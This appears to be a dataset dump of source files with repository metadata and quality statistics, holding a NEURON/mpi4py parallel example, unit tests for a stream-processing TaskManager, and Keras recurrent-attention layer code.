| 0.833333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
589382a372477ce0621ac6a0f44430e2d41679ea
| 2,680
|
py
|
Python
|
src/nrnpython/examples/test0.py
|
niltonlk/nrn
|
464541abbf72fe58de77b16bf0e1df425a280b89
|
[
"BSD-3-Clause"
] | 203
|
2018-05-03T11:02:11.000Z
|
2022-03-31T14:18:31.000Z
|
src/nrnpython/examples/test0.py
|
niltonlk/nrn
|
464541abbf72fe58de77b16bf0e1df425a280b89
|
[
"BSD-3-Clause"
] | 1,228
|
2018-04-25T09:00:48.000Z
|
2022-03-31T21:42:21.000Z
|
src/nrnpython/examples/test0.py
|
niltonlk/nrn
|
464541abbf72fe58de77b16bf0e1df425a280b89
|
[
"BSD-3-Clause"
] | 134
|
2018-04-23T09:14:13.000Z
|
2022-03-16T08:57:11.000Z
|
from mpi4py import MPI
from neuron import h
import sys
pc = h.ParallelContext()
s = "mpi4py thinks I am %d of %d\
\nNEURON thinks I am %d of %d"
cw = MPI.COMM_WORLD
print s % (cw.rank, cw.size, pc.id(), pc.nhost())
pc.done()
# Desired behaviour:
## emuller@drishti ~/hg/nrn_neurens_hg/src/nrnpython/examples $ mpiexec -np 4 nrniv -mpi -python test0.py
## numprocs=4
## NEURON -- VERSION 7.0.unoffical-nrn-hg.unknown (2216) 2008-09-15
## Duke, Yale, and the BlueBrain Project -- Copyright 1984-2008
## See http://neuron.yale.edu/credits.html
## MPI_Initialized==true, enabling MPI funtionality.
## MPI_Initialized==true, enabling MPI funtionality.
## MPI_Initialized==true, enabling MPI funtionality.
## MPI_Initialized==true, enabling MPI funtionality.
## numprocs=4
## mpi4py thinks I am 0 of 4, NEURON thinks I am 0 of 4
## mpi4py thinks I am 2 of 4, NEURON thinks I am 2 of 4
## mpi4py thinks I am 1 of 4, NEURON thinks I am 1 of 4
## mpi4py thinks I am 3 of 4, NEURON thinks I am 3 of 4
## >>>
## emuller@drishti ~/hg/nrn_neurens_hg/src/nrnpython/examples $
## emuller@drishti ~/hg/nrn_neurens_hg/src/nrnpython/examples $ mpiexec -np 4 python test0.py
## MPI_Initialized==true, enabling MPI funtionality.
## MPI_Initialized==true, enabling MPI funtionality.
## MPI_Initialized==true, enabling MPI funtionality.
## MPI_Initialized==true, enabling MPI funtionality.
## numprocs=4
## NEURON -- VERSION 7.0.unoffical-nrn-hg.unknown (2216) 2008-09-15
## Duke, Yale, and the BlueBrain Project -- Copyright 1984-2008
## See http://neuron.yale.edu/credits.html
## mpi4py thinks I am 3 of 4, NEURON thinks I am 3 of 4
## mpi4py thinks I am 2 of 4, NEURON thinks I am 2 of 4
## mpi4py thinks I am 1 of 4, NEURON thinks I am 1 of 4
## mpi4py thinks I am 0 of 4, NEURON thinks I am 0 of 4
## emuller@drishti ~/hg/nrn_neurens_hg/src/nrnpython/examples $ python test0.py
## MPI_Initialized==true, enabling MPI funtionality.
## numprocs=1
## NEURON -- VERSION 7.0.unoffical-nrn-hg.unknown (2216) 2008-09-15
## Duke, Yale, and the BlueBrain Project -- Copyright 1984-2008
## See http://neuron.yale.edu/credits.html
## mpi4py thinks I am 0 of 1, NEURON thinks I am 0 of 1
## emuller@drishti ~/hg/nrn_neurens_hg/src/nrnpython/examples $ python
## Python 2.5.2 (r252:60911, Aug 22 2008, 18:45:05)
## [GCC 4.1.2 (Gentoo 4.1.2 p1.1)] on linux2
## Type "help", "copyright", "credits" or "license" for more information.
## >>> import neuron
## MPI_Initialized==false, disabling MPI funtionality.
## NEURON -- VERSION 7.0.unoffical-nrn-hg.unknown (2216) 2008-09-15
## Duke, Yale, and the BlueBrain Project -- Copyright 1984-2008
## See http://neuron.yale.edu/credits.html
## >>>
| 34.358974
| 105
| 0.715672
| 450
| 2,680
| 4.215556
| 0.208889
| 0.073801
| 0.094887
| 0.079072
| 0.826568
| 0.826568
| 0.800738
| 0.796521
| 0.796521
| 0.764365
| 0
| 0.077397
| 0.151493
| 2,680
| 77
| 106
| 34.805195
| 0.756816
| 0.855597
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.333333
| null | null | 0.111111
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
589c0494fc3bbef1bdb0299fa93a7ee6e8ecae6f
| 13,693
|
py
|
Python
|
platform/software/test/test_taskmanager.py
|
oika/connect
|
2486b97256d7adcd130f90d5c3e665d90ef1a39d
|
[
"Apache-2.0"
] | null | null | null |
platform/software/test/test_taskmanager.py
|
oika/connect
|
2486b97256d7adcd130f90d5c3e665d90ef1a39d
|
[
"Apache-2.0"
] | null | null | null |
platform/software/test/test_taskmanager.py
|
oika/connect
|
2486b97256d7adcd130f90d5c3e665d90ef1a39d
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
from TaskManager import TaskManager
from multiprocessing import Process
from Stream import *
import logging
import unittest
import multiprocessing
class TestTaskManager(unittest.TestCase):
def setUp(self):
logging.basicConfig(filename='TaskManager.log', level=logging.DEBUG)
logger = logging.getLogger(__name__)
self.hostname = 'sv0'
self.tm = TaskManager(self.hostname, logger, address='127.0.0.1', port=5440)
self.job_name = 'tm_test'
def tearDown(self):
del self.tm
def __get_ops(self):
tlgs = self.tm.jobs[self.job_name].get_device_local_group(self.hostname).tlgs
ops = {}
for tlg in tlgs:
for op in tlg.operators:
ops[op.name] = op
return ops
def test_add_job_intra_process_single_edge(self):
interfaces = {}
self.tm.add_job('IntraProcessJob_SingleEdge.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['2'].in_streams[0]
def test_add_job_intra_process_single_out(self):
interfaces = {}
self.tm.add_job('IntraProcessJob_SingleOut.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].in_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['2'].in_streams[0]
assert ops['1'].out_streams[0] is ops['3'].in_streams[0]
assert ops['2'].in_streams[0] is ops['3'].in_streams[0]
def test_add_job_intra_process_double_out(self):
interfaces = {}
self.tm.add_job('IntraProcessJob_DoubleOut.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 2
assert len(ops['2'].in_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['1'].out_streams[1], multiprocessing.queues.Queue)
assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops ['2'].in_streams[0]
assert ops['1'].out_streams[1] is ops ['3'].in_streams[0]
assert ops['2'].in_streams[0] is not ops['3'].in_streams[0]
def test_add_job_intra_process_single_in(self):
interfaces = {}
self.tm.add_job('IntraProcessJob_SingleIn.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].out_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['3'].in_streams[0]
assert ops['2'].out_streams[0] is ops['3'].in_streams[0]
assert ops['1'].out_streams[0] is ops['2'].out_streams[0]
def test_add_job_intra_process_double_in(self):
interfaces = {}
self.tm.add_job('IntraProcessJob_DoubleIn.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].out_streams) == 1
assert len(ops['3'].in_streams) == 2
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[1], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['3'].in_streams[0]
assert ops['2'].out_streams[0] is ops['3'].in_streams[1]
assert ops['1'].out_streams[0] is not ops['2'].out_streams[0]
def test_add_job_inter_process_single_edge(self):
interfaces = {}
self.tm.add_job('InterProcessJob_SingleEdge.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['2'].in_streams[0]
def test_add_job_inter_process_single_out(self):
interfaces = {}
self.tm.add_job('InterProcessJob_SingleOut.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].in_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['2'].in_streams[0]
assert ops['1'].out_streams[0] is ops['3'].in_streams[0]
assert ops['2'].in_streams[0] is ops['3'].in_streams[0]
def test_add_job_inter_process_double_out(self):
interfaces = {}
self.tm.add_job('InterProcessJob_DoubleOut.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 2
assert len(ops['2'].in_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['1'].out_streams[1], multiprocessing.queues.Queue)
assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['2'].in_streams[0]
assert ops['1'].out_streams[1] is ops['3'].in_streams[0]
assert ops['2'].in_streams[0] is not ops['3'].in_streams[0]
def test_add_job_inter_process_single_in(self):
interfaces = {}
self.tm.add_job('InterProcessJob_SingleIn.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].out_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['3'].in_streams[0]
assert ops['2'].out_streams[0] is ops['3'].in_streams[0]
assert ops['1'].out_streams[0] is ops['2'].out_streams[0]
def test_add_job_inter_process_double_in(self):
interfaces = {}
self.tm.add_job('InterProcessJob_DoubleIn.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].out_streams) == 1
assert len(ops['3'].in_streams) == 2
assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue)
assert isinstance(ops['3'].in_streams[1], multiprocessing.queues.Queue)
assert ops['1'].out_streams[0] is ops['3'].in_streams[0]
assert ops['2'].out_streams[0] is ops['3'].in_streams[1]
assert ops['1'].out_streams[0] is not ops['2'].out_streams[0]
def test_add_job_inter_device_single_edge_out(self):
interfaces = {('2', 0):('127.0.0.1', 5441, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_SingleEdge_Out.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert isinstance(ops['1'].out_streams[0], TxNetworkStream)
def test_add_job_inter_device_single_out_out(self):
interfaces = {('2', 0):('127.0.0.1', 5441, '00:00:00:00:00:00'),
('3', 0):('127.0.0.1', 5442, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_SingleOut_Out.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert isinstance(ops['1'].out_streams[0], TxNetworkStream)
def test_add_job_inter_device_double_out_out(self):
interfaces = {('2', 0):('127.0.0.1', 5441, '00:00:00:00:00:00'),
('3', 0):('127.0.0.1', 5442, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_DoubleOut_Out.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 2
assert isinstance(ops['1'].out_streams[0], TxNetworkStream)
assert isinstance(ops['1'].out_streams[1], TxNetworkStream)
assert ops['1'].out_streams[0] is not ops['1'].out_streams[1]
def test_add_job_inter_device_single_in_out(self):
interfaces = {('3', 0):('127.0.0.1', 5441, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_SingleIn_Out.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].out_streams) == 1
assert isinstance(ops['1'].out_streams[0], TxNetworkStream)
assert isinstance(ops['2'].out_streams[0], TxNetworkStream)
assert ops['1'].out_streams[0] is not ops['2'].out_streams[0]
def test_add_job_inter_device_double_in_out(self):
interfaces = {('3', 0):('127.0.0.1', 5441, '00:00:00:00:00:00'),
('3', 1):('127.0.0.1', 5442, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_DoubleIn_Out.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['1'].out_streams) == 1
assert len(ops['2'].out_streams) == 1
assert isinstance(ops['1'].out_streams[0], TxNetworkStream)
assert isinstance(ops['2'].out_streams[0], TxNetworkStream)
assert ops['1'].out_streams[0] is not ops['2'].out_streams[0]
def test_add_job_inter_device_single_edge_in(self):
interfaces = {('2', 0):('127.0.0.2', 5441, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_SingleEdge_In.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['2'].in_streams) == 1
assert isinstance(ops['2'].in_streams[0], RxNetworkStream)
del ops['2'].in_streams[0]
def test_add_job_inter_device_single_out_in(self):
interfaces = {('2', 0):('127.0.0.2', 5441, '00:00:00:00:00:00'),
('3', 0):('127.0.0.2', 5442, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_SingleOut_In.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['2'].in_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['2'].in_streams[0], RxNetworkStream)
assert isinstance(ops['3'].in_streams[0], RxNetworkStream)
assert ops['2'].in_streams[0] is not ops['3'].in_streams[0]
del ops['2'].in_streams[0]
def test_add_job_inter_device_double_out_in(self):
interfaces = {('2', 0):('127.0.0.2', 5441, '00:00:00:00:00:00'),
('3', 0):('127.0.0.2', 5442, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_DoubleOut_In.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['2'].in_streams) == 1
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['2'].in_streams[0], RxNetworkStream)
assert isinstance(ops['3'].in_streams[0], RxNetworkStream)
assert ops['2'].in_streams[0] is not ops['3'].in_streams[0]
del ops['2'].in_streams[0]
del ops['3'].in_streams[0]
def test_add_job_inter_device_single_in_in(self):
interfaces = {('3', 0):('127.0.0.2', 5441, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_SingleIn_In.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['3'].in_streams) == 1
assert isinstance(ops['3'].in_streams[0], RxNetworkStream)
del ops['3'].in_streams[0]
def test_add_job_inter_device_double_in_in(self):
interfaces = {('3', 0):('127.0.0.2', 5441, '00:00:00:00:00:00'),
('3', 1):('127.0.0.2', 5442, '00:00:00:00:00:00')}
self.tm.add_job('InterDeviceJob_DoubleIn_In.py', self.job_name, interfaces)
ops = self.__get_ops()
assert len(ops['3'].in_streams) == 2
assert isinstance(ops['3'].in_streams[0], RxNetworkStream)
assert isinstance(ops['3'].in_streams[1], RxNetworkStream)
assert ops['3'].in_streams[0] is not ops['3'].in_streams[1]
del ops['3'].in_streams[0]
del ops['3'].in_streams[1]
def test_prepare_tasks(self):
pass
def test_run_tasks(self):
pass
def test_pause_tasks(self):
pass
def test_cancel_tasks(self):
pass
if __name__=='__main__':
unittest.main()
| 49.078853
| 86
| 0.634339
| 2,025
| 13,693
| 4.067654
| 0.044938
| 0.101979
| 0.046619
| 0.093481
| 0.928129
| 0.91866
| 0.918296
| 0.910404
| 0.884424
| 0.839262
| 0
| 0.06537
| 0.200102
| 13,693
| 278
| 87
| 49.255396
| 0.686661
| 0.001534
| 0
| 0.670732
| 0
| 0
| 0.088881
| 0.042502
| 0
| 0
| 0
| 0
| 0.49187
| 1
| 0.109756
| false
| 0.01626
| 0.02439
| 0
| 0.142276
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54428dc6c2f021f7e1e0d351ae8de7d30dd16519
| 15,800
|
py
|
Python
|
gandlf/layers/attention.py
|
codekansas/gandlf
|
f3cd5e6885ffd13b5547ead88632b9e81718735b
|
[
"MIT"
] | 51
|
2017-01-01T09:03:21.000Z
|
2020-07-12T20:55:44.000Z
|
gandlf/layers/attention.py
|
codekansas/gandlf
|
f3cd5e6885ffd13b5547ead88632b9e81718735b
|
[
"MIT"
] | 5
|
2017-02-22T09:08:28.000Z
|
2020-11-13T17:29:56.000Z
|
gandlf/layers/attention.py
|
codekansas/gandlf
|
f3cd5e6885ffd13b5547ead88632b9e81718735b
|
[
"MIT"
] | 9
|
2017-01-02T09:57:01.000Z
|
2019-08-27T14:17:15.000Z
|
import keras
import keras.backend as K
class RecurrentAttention1D(keras.layers.Wrapper):
"""Makes a recurrent layer pay attention to an attention tensor.
This implementation takes an attention tensor with shape (batch_size,
num_features). On each recurrent step, the hidden state is weighted by the
a vector `s`, which is given by:
m = attn_activation(dot(h, U_m) + dot(attention, U_a) + b_m)
s = attn_gate(dot(m, U_s) + b_s)
h_new = s * h
Args:
layer: Keras Recurrent layer, the layer to apply the attention to.
attention: Keras tensor with shape (batch_size, num_features). For
example, this could the output of a Dense or GlobalMaxPooling1D
layer.
attn_activation: activation function. Can be the name of an existing
function (str) or another function. See Keras
[activations](https://keras.io/activations/) and the above
equation for `m`.
attn_gate_func: activation function. Can be the name of an existing
function (str) or another function. See Keras
[activations](https://keras.io/activations/) and the above
equation for `s`.
W_regularizer: instance of Keras WeightRegularizer. See Keras
[regularizers](https://keras.io/regularizers/). Applied to all of
the weight matrices.
b_regularizer: instance of Keras WeightRegularizer. See Keras
[regularizers](https://keras.io/regularizers/). Applied to all of
the bias vectors.
"""
def __init__(self, layer, attention, attn_activation='tanh',
attn_gate_func='sigmoid', W_regularizer=None,
b_regularizer=None, **kwargs):
if not isinstance(layer, keras.layers.Recurrent):
raise ValueError('The RecurrentAttention wrapper only works on '
'recurrent layers.')
# Should know this so that we can handle multiple hidden states.
self._wraps_lstm = isinstance(layer, keras.layers.LSTM)
if not hasattr(attention, '_keras_shape'):
raise ValueError('Attention should be a Keras tensor.')
if len(K.int_shape(attention)) != 2:
raise ValueError('The attention input for RecurrentAttention2D '
'should be a tensor with shape (batch_size, '
'num_features). Got shape=%s.' %
str(K.int_shape(attention)))
self.supports_masking = True
self.attention = attention
self.attn_activation = keras.activations.get(attn_activation)
self.attn_gate_func = keras.activations.get(attn_gate_func)
self.W_regularizer = keras.regularizers.get(W_regularizer)
self.b_regularizer = keras.regularizers.get(b_regularizer)
super(RecurrentAttention1D, self).__init__(layer, **kwargs)
def build(self, input_shape):
assert input_shape >= 3
self.input_spec = [keras.engine.InputSpec(shape=input_shape)]
# Builds the wrapped layer.
if not self.layer.built:
self.layer.build(input_shape)
super(RecurrentAttention1D, self).build()
attention_dim = self.attention._keras_shape[1]
output_dim = self.layer.output_dim
self.attn_U_a = self.add_weight((attention_dim, output_dim),
initializer=self.layer.inner_init,
name='{}_attn_U_a'.format(self.name),
regularizer=self.W_regularizer)
self.attn_U_m = self.add_weight((output_dim, output_dim),
initializer=self.layer.inner_init,
name='{}_attn_U_m'.format(self.name),
regularizer=self.W_regularizer)
self.attn_b_m = self.add_weight((output_dim,),
initializer='zero',
name='{}_attn_b_m'.format(self.name),
regularizer=self.b_regularizer)
self.attn_U_s = self.add_weight((output_dim, output_dim),
initializer=self.layer.inner_init,
name='{}_attn_U_s'.format(self.name),
regularizer=self.W_regularizer)
self.attn_b_s = self.add_weight((output_dim,),
initializer='zero',
name='{}_attn_b_s'.format(self.name),
regularizer=self.b_regularizer)
self.trainable_weights = [self.attn_U_a, self.attn_U_m, self.attn_b_m,
self.attn_U_s, self.attn_b_s]
self.trainable_weights += self.layer.trainable_weights
def reset_states(self):
self.layer.reset_states()
def get_constants(self, x):
constants = self.layer.get_constants(x)
constants.append(K.dot(self.attention, self.attn_U_a))
return constants
def _compute_attention(self, h, attention):
m = self.attn_activation(K.dot(h, self.attn_U_m) + attention +
self.attn_b_m)
s = self.attn_gate_func(K.dot(m, self.attn_U_s) + self.attn_b_s)
return s
def step(self, x, states):
if self._wraps_lstm: # If the recurrent layer is an LSTM.
h, [_, c] = self.layer.step(x, states)
h *= self._compute_attention(h, states[4])
return h, [h, c]
else: # All other RNN types.
h, [h] = self.layer.step(x, states)
h *= self._compute_attention(h, states[3])
return h, [h, c]
def get_output_shape_for(self, input_shape):
if self.layer.return_sequences:
return (input_shape[0], input_shape[1], self.layer.output_dim)
else:
return (input_shape[0], self.layer.output_dim)
def call(self, x, mask=None):
input_shape = self.input_spec[0].shape
if self.layer.unroll and input_shape[1] is None:
raise ValueError('Cannot unroll a RNN if the '
'time dimension is undefined. \n'
'- If using a Sequential model, '
'specify the time dimension by passing '
'an `input_shape` or `batch_input_shape` '
'argument to your first layer. If your '
'first layer is an Embedding, you can '
'also use the `input_length` argument.\n'
'- If using the functional API, specify '
'the time dimension by passing a `shape` '
'or `batch_shape` argument to your Input layer.')
initial_states = (self.layer.states if self.layer.stateful else
self.layer.get_initial_states(x))
constants = self.get_constants(x)
preprocessed_input = self.layer.preprocess_input(x)
last_output, outputs, states = K.rnn(
self.step, preprocessed_input, initial_states,
go_backwards=self.layer.go_backwards,
mask=mask,
constants=constants,
unroll=self.layer.unroll,
input_length=input_shape[1])
if self.layer.stateful:
updates = []
for i in range(len(states)):
updates.append((self.layer.states[i], states[i]))
self.add_update(updates, x)
return outputs if self.layer.return_sequences else last_output
def get_config(self):
raise NotImplementedError('Saving attention components is not '
'supported yet.')
class RecurrentAttention2D(keras.layers.Wrapper):
"""Makes a recurrent layer pay attention to an attention tensor.
This implementation takes an attention tensor with shape (batch_size,
num_input_timesteps, num_features). On each recurrent step, the hidden
state is weighted by the a vector `s`, which is computed as a weighted sum
of the input vectors as follows:
t = time_dist_activation(dot(h, U_t) + b_t)
w = sum(t * attention)
s = attn_gate_func(dot(w, U_a) + b_a)
h_new = s * h
Generally, on each timestep, the hidden state is used to compute a weight
distribution over each timestep in the attention tensor. This is used to
get a weighted sum, which has shape (batch_size, num_attn_feats). This is
linearly transformed to get `s`, which weights the hidden state.
Args:
layer: Keras Recurrent layer, the layer to apply the attention to.
attention: Keras tensor with shape (batch_size, num_timesteps,
num_features). For example, this could the output of a Dense or
GlobalMaxPooling1D layer.
time_dist_activation: activation function. Can be the name of an
existing function (str) or another function. See Keras
[activations](https://keras.io/activations/). A softmax function
intuitively means "determine how important each time input is".
attn_gate_func: activation function. Can be the name of an existing
function (str) or another function. See Keras
[activations](https://keras.io/activations/) and the equations.
W_regularizer: instance of Keras WeightRegularizer. See Keras
[regularizers](https://keras.io/regularizers/). Applied to all of
the weight matrices.
b_regularizer: instance of Keras WeightRegularizer. See Keras
[regularizers](https://keras.io/regularizers/). Applied to all of
the bias vectors.
"""
def __init__(self, layer, attention, time_dist_activation='softmax',
attn_gate_func='sigmoid', W_regularizer=None,
b_regularizer=None, **kwargs):
if not isinstance(layer, keras.layers.Recurrent):
raise ValueError('The RecurrentAttention wrapper only works on '
'recurrent layers.')
# Should know this so that we can handle multiple hidden states.
self._wraps_lstm = isinstance(layer, keras.layers.LSTM)
if not hasattr(attention, '_keras_shape'):
raise ValueError('Attention should be a Keras tensor.')
if len(K.int_shape(attention)) != 3:
raise ValueError('The attention input for RecurrentAttention2D '
'should be a tensor with shape (batch_size, '
'num_timesteps, num_features). Got shape=%s.' %
str(K.int_shape(attention)))
self.supports_masking = True
self.attention = attention
self.time_dist_activation = keras.activations.get(time_dist_activation)
self.attn_gate_func = keras.activations.get(attn_gate_func)
self.W_regularizer = keras.regularizers.get(W_regularizer)
self.b_regularizer = keras.regularizers.get(b_regularizer)
super(RecurrentAttention2D, self).__init__(layer, **kwargs)
def build(self, input_shape):
assert input_shape >= 3
self.input_spec = [keras.engine.InputSpec(shape=input_shape)]
# Builds the wrapped layer.
if not self.layer.built:
self.layer.build(input_shape)
super(RecurrentAttention2D, self).build()
num_attn_timesteps, num_attn_feats = K.int_shape(self.attention)[1:]
output_dim = self.layer.output_dim
self.attn_U_t = self.add_weight((output_dim, num_attn_timesteps),
initializer=self.layer.inner_init,
name='{}_attn_U_t'.format(self.name),
regularizer=self.W_regularizer)
self.attn_b_t = self.add_weight((num_attn_timesteps,),
initializer='zero',
name='{}_attn_b_t'.format(self.name),
regularizer=self.b_regularizer)
self.attn_U_a = self.add_weight((num_attn_feats, output_dim),
initializer=self.layer.inner_init,
name='{}_attn_U_a'.format(self.name),
regularizer=self.W_regularizer)
self.attn_b_a = self.add_weight((output_dim,),
initializer='zero',
name='{}_attn_b_a'.format(self.name),
regularizer=self.b_regularizer)
self.trainable_weights = [self.attn_U_t, self.attn_b_t,
self.attn_U_a, self.attn_b_a]
def reset_states(self):
self.layer.reset_states()
def _compute_attention(self, h):
time_weights = K.expand_dims(K.dot(h, self.attn_U_t) + self.attn_b_t,
dim=-1)
time_weights = self.time_dist_activation(time_weights)
weighted_sum = K.sum(time_weights * self.attention, axis=1)
attn_vec = K.dot(weighted_sum, self.attn_U_a) + self.attn_b_a
return self.attn_gate_func(attn_vec)
def step(self, x, states):
if self._wraps_lstm: # If the recurrent layer is an LSTM.
h, [_, c] = self.layer.step(x, states)
h *= self._compute_attention(h)
return h, [h, c]
else: # All other RNN types.
h, [h] = self.layer.step(x, states)
h *= self._compute_attention(h)
return h, [h, c]
def get_output_shape_for(self, input_shape):
if self.layer.return_sequences:
return (input_shape[0], input_shape[1], self.layer.output_dim)
else:
return (input_shape[0], self.layer.output_dim)
def call(self, x, mask=None):
input_shape = self.input_spec[0].shape
if self.layer.unroll and input_shape[1] is None:
raise ValueError('Cannot unroll a RNN if the '
'time dimension is undefined. \n'
'- If using a Sequential model, '
'specify the time dimension by passing '
'an `input_shape` or `batch_input_shape` '
'argument to your first layer. If your '
'first layer is an Embedding, you can '
'also use the `input_length` argument.\n'
'- If using the functional API, specify '
'the time dimension by passing a `shape` '
'or `batch_shape` argument to your Input layer.')
initial_states = (self.layer.states if self.layer.stateful else
self.layer.get_initial_states(x))
constants = self.layer.get_constants(x)
preprocessed_input = self.layer.preprocess_input(x)
last_output, outputs, states = K.rnn(
self.step, preprocessed_input, initial_states,
go_backwards=self.layer.go_backwards,
mask=mask,
constants=constants,
unroll=self.layer.unroll,
input_length=input_shape[1])
if self.layer.stateful:
updates = []
for i in range(len(states)):
updates.append((self.layer.states[i], states[i]))
self.add_update(updates, x)
return outputs if self.layer.return_sequences else last_output
def get_config(self):
raise NotImplementedError('Saving attention components is not '
'supported yet.')
| 45.402299
| 79
| 0.585253
| 1,883
| 15,800
| 4.715879
| 0.117897
| 0.048649
| 0.015203
| 0.025338
| 0.853378
| 0.838063
| 0.833671
| 0.826351
| 0.814077
| 0.798086
| 0
| 0.003015
| 0.328354
| 15,800
| 347
| 80
| 45.533141
| 0.833773
| 0.218861
| 0
| 0.739726
| 0
| 0
| 0.125269
| 0
| 0
| 0
| 0
| 0
| 0.009132
| 1
| 0.077626
| false
| 0.018265
| 0.009132
| 0
| 0.155251
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54561e302f6ea70471fa782e59f0039f4fc6a2b7
| 12,130
|
py
|
Python
|
tests/providers/google/cloud/sensors/test_dataflow.py
|
emilioego/airflow
|
3457c7847cd24413ff5b622e65c27d8370f94502
|
[
"Apache-2.0",
"BSD-2-Clause",
"MIT",
